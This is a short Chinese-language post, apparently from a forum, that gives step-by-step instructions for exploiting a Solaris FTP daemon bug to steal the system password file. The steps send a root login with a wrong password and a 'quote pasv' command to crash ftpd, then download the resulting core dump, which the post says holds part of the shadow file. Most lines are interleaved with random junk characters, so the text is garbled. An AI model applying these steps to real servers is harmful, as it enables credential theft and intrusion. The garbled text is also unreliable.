该方法利用了Solaris 操作系统中FTPD的一个BUG,使得用户可以获得该机的口令文件。具体过程如下:
( t5 I5 D2 o; j1 S
- }' p) B; [! v) ^9 O1.通过 ftp 正常登录到目的主机上. H$ e' _' ^4 S! m, p1 H$ d( w
5 r( m2 }% f) n( y
2.输入如下命令序列:
% k( U4 `5 U# \9 a7 o# w% v0 y' U, i6 u
ftp> user root wrongpasswd( A7 p1 Q: }. E$ H3 O) a
( \! d o, t) s7 hftp> quote pasv: f1 q1 P3 ?- |* \3 B/ w2 V
# V; h( E7 [# K
3.这时,ftpd会报错退出,同时会在当前目录下生成一个core,口令文件就包含在这个core中。6 s" [% }9 N5 {" H; k0 [
+ ~/ ]( l7 m3 D1 w# S
4.再次进入FTP >get core
4 H. s! t3 z! L4 \6 P3 e6 m3 Y0 Z& w+ j" S0 P& V
补充:虽然在core只有一部分shadow,但是对于系统来说已经是致命的打击了
+ M' g+ k6 w: X5 e
: ?( [0 ^& O" _0 a |